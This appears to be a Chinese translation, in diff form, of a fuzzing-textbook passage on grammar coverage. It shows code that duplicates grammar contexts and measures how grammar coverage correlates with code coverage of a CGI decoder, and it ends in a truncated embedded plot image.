+默认情况下，`depth`设置为$ \ infty $，表示无限复制。 真正的无界重复可能会导致诸如`EXPR_GRAMMAR`之类的递归语法出现问题，因此一旦将`duplicate_context()`设置为不再重复的符号。 尽管如此，如果我们将其应用于所有 `<expr>`扩展的*重复项，我们将获得不少于296条规则的语法：*
+
+```py
+dup_expr_grammar = extend_grammar(EXPR_GRAMMAR)
+duplicate_context(dup_expr_grammar, "<expr>")
+
+```
+
+```py
+assert is_valid_grammar(dup_expr_grammar)
+len(dup_expr_grammar)
+
+```
+
+```py
+292
+
+```
+
+这使我们可以扩展将近2000个范围：
+
+```py
+f = GrammarCoverageFuzzer(dup_expr_grammar)
+len(f.max_expansion_coverage())
+
+```
+
+```py
+1981
+
+```
+
+再重复一遍，既使语法又提高了覆盖率要求：
+
+```py
+dup_expr_grammar = extend_grammar(EXPR_GRAMMAR)
+duplicate_context(dup_expr_grammar, "<expr>")
+duplicate_context(dup_expr_grammar, "<expr-1>")
+len(dup_expr_grammar)
+
+```
+
+```py
+594
+
+```
+
+```py
+f = GrammarCoverageFuzzer(dup_expr_grammar)
+len(f.max_expansion_coverage())
+
+```
+
+```py
+3994
+
+```
+
+在这一点上，可以单独涵盖很多上下文，例如，加法中元素的乘法：
+
+```py
+dup_expr_grammar["<expr>"]
+
+```
+
+```py
+['<term-1> + <expr-4>', '<term-5> - <expr-8>', '<term-9>']
+
+```
+
+```py
+dup_expr_grammar["<term-1-1>"]
+
+```
+
+```py
+['<factor-1-1> * <term-1-1>', '<factor-2-1> / <term-1-1>', '<factor-3-1>']
+
+```
+
+```py
+dup_expr_grammar["<factor-1-1>"]
+
+```
+
+```py
+['+<factor-1-1>',
+ '-<factor-1-1>',
+ '(<expr-1-1>)',
+ '<integer-1-1>.<integer-2-1>',
+ '<integer-3-1>']
+
+```
+
+产生的语法可能不再对人类维护有用； 但是运行覆盖率驱动的模糊器（例如`GrammarCoverageFuzzer()`）将可以覆盖所有情况下的所有这些扩展。 如果您想覆盖大量上下文中的元素，那么`duplicate_context()`和覆盖率驱动的模糊器是您的朋友。
+
+## 通过覆盖语法来覆盖代码
+
+有无上下文：通过系统地覆盖所有输入元素，我们可以在输入中获得更大的种类-但这是否会转化为更广泛的程序行为？ 毕竟，这些行为是我们要涵盖的，包括意外行为。
+
+在语法中，有些元素直接对应于程序功能。 处理算术表达式的程序将具有直接由各个元素触发的功能-例如，由`+`存在触发的加法功能，由`-`存在触发的减法和由`-`存在触发的浮点算术 输入中的浮点数。
+
+输入结构和功能之间的这种联系导致语法覆盖范围和代码覆盖范围之间具有很强的*相关性。 换句话说：如果我们可以实现较高的语法覆盖率，那么这也将导致较高的代码覆盖率。*
+
+### CGI语法
+
+让我们在我们的一种语法中探索这种关系，例如，关于覆盖范围的[章中的CGI解码器。 我们计算映射`coverages`，其中在`coverages[x]` = `{y_1, y_2, ...}`中，`x`是获得的语法覆盖率，`y_n`是从第`n`次运行获得的代码覆盖率。](Coverage.html)
+
+我们首先计算最大覆盖率，如关于覆盖率的[一章：](Coverage.html)
+
+```py
+from [Coverage](Coverage.html) import Coverage, cgi_decode
+
+```
+
+```py
+with Coverage() as cov_max:
+    cgi_decode('+')
+    cgi_decode('%20')
+    cgi_decode('abc')
+    try:
+        cgi_decode('%?a')
+    except:
+        pass
+
+```
+
+现在，我们进行实验：
+
+```py
+f = GrammarCoverageFuzzer(CGI_GRAMMAR, max_nonterminals=2)
+coverages = {}
+
+trials = 100
+for trial in range(trials):
+    f.reset_coverage()
+    overall_cov = set()
+    max_cov = 30
+
+    for i in range(10):
+        s = f.fuzz()
+        with Coverage() as cov:
+            cgi_decode(s)
+        overall_cov |= cov.coverage()
+
+        x = len(f.expansion_coverage()) * 100 / len(f.max_expansion_coverage())
+        y = len(overall_cov) * 100 / len(cov_max.coverage())
+        if x not in coverages:
+            coverages[x] = []
+        coverages[x].append(y)
+
+```
+
+我们计算`y`值的平均值：
+
+```py
+xs = list(coverages.keys())
+ys = [sum(coverages[x]) / len(coverages[x]) for x in coverages]
+
+```
+
+并创建散点图：
+
+```py
+%matplotlib inline
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+import [matplotlib.ticker](https://docs.python.org/3/library/matplotlib.ticker.html) as [mtick](https://docs.python.org/3/library/mtick.html)
+
+```
+
+```py
+ax = plt.axes(label="coverage")
+ax.yaxis.set_major_formatter(mtick.PercentFormatter())
+ax.xaxis.set_major_formatter(mtick.PercentFormatter())
+
+plt.xlim(0, max(xs))
+plt.ylim(0, max(ys))
+
+plt.title('Coverage of cgi_decode() vs. grammar coverage')
+plt.xlabel('grammar coverage (expansions)')
+plt.ylabel('code coverage (lines)')
+plt.scatter(xs, ys);
+
+```
+
+![](data:image/png;base64,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